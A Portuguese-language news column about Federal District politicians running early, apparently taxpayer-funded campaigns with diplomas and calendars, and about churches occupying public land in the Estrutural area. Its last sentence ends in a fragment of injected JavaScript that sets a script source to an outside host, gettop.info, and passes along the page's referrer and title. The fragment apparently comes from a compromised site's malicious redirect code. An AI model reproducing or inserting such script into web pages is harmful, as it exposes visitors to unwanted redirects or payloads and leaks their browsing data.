Candidatos lançam campanha eleitoral fora de época no DF

Senador Hélio José (PMDB)
Diplomas plastificados com seu nome e o brasão do Senado Federal
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Gráficas que trabalham para parlamentares que vão ser candidatos em 2018 não podem reclamar de falta de serviço. Embora proibida a campanha fora de época está nas ruas. A Cidade Estrutural vem sendo um campo intenso de trabalho de corpo a corpo. Primeiro foi o senador Hélio José (PMDB), que mandou produzir diplomas embalados com pastas plastificadas com seu nome e o brasão do Senado, distribuídos a prefeitos comunitários da cidade. Como se o parlamentar fosse a Justiça Eleitoral.

Mais Diplomas

O deputado federal Izalci Lucas (PSDB). Foto: divulgação
Diplomas semelhantes aos de capacitação profissional com o timbre da Câmara. Foto: divulgação
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O deputado federal Izalci Lucas (PSDB) diplomou, na mesma cidade, participantes de um encontro como se tivessem feito algum programa de capacitação ou treinamento. Tudo com o timbre da Câmara e, claro, o nome do tucano, que a exemplo de Hélio José, entregou pessoalmente as peças.

O distrital Agaciel Maia (PR) mandou imprimir calendários de parede 2017, que trazem em destaque uma foto dele, como se fosse um astro das novelas.

O problema é que, além de ser propaganda eleitoral extemporânea, na maioria dos casos quem paga a conta é o contribuinte, com as verbas de representação a que cada parlamentar tem direito. Na prática, para muitos políticos, o financiamento público de campanha já existe. Mas o Ministério Público está de olho e esses casos podem ser apurados.

Agaciel Maia: calendários de parede em que aparece como se fosse astros de novela. Foto: reprodução

A César

Nos evangelhos sinóticos, em Marcos 12-17, a Bíblia registra a frase dai a César o que é de César e a Deus, o que é de Deus. Segundo os teólogos, a expressão se tornou um resumo da relação que deve ocorrer entre o cristianismo e a autoridade, ou seja, o poder governamental. Mas, na prática, em Brasília não tem sido bem assim, e são recorrentes os casos de igrejas e templos que se apoderam de imóveis e espaços públicos para se estabelecerem, gerando prejuízos financeiros e sociais.

O sindicato dos Servidores da Assistência Social e Cultural do GDF – Sindsasc denuncia em seu portal a ocupação por uma igreja Assembleia de Deus de um terreno na Quadra 5, Área Especial 1, Setor Oeste, na Estrutural, pertence à secretaria de Trabalho – Sedestmidh. Clayton Avelar, presidente do Sindsasc, cobra do GDF providências para recuperar o patrimônio público.

O líder comunitário Paulo Batista, o Paulão da Estrutural, também denuncia que a Igreja Católica tomou para si outro terreno, na quadra 7, conjunto 4, Setor Leste. O lote era destinado à construção de uma creche pública. A ação teria contado, segundo ele, com o beneplácito do ex-vice-governador Tadeu Filippelli (PMDB), há quatro anos.

Logo, logo, algum distrital apresentará projeto para que os imóveis sejam doados formalmente às entidades confessionais…s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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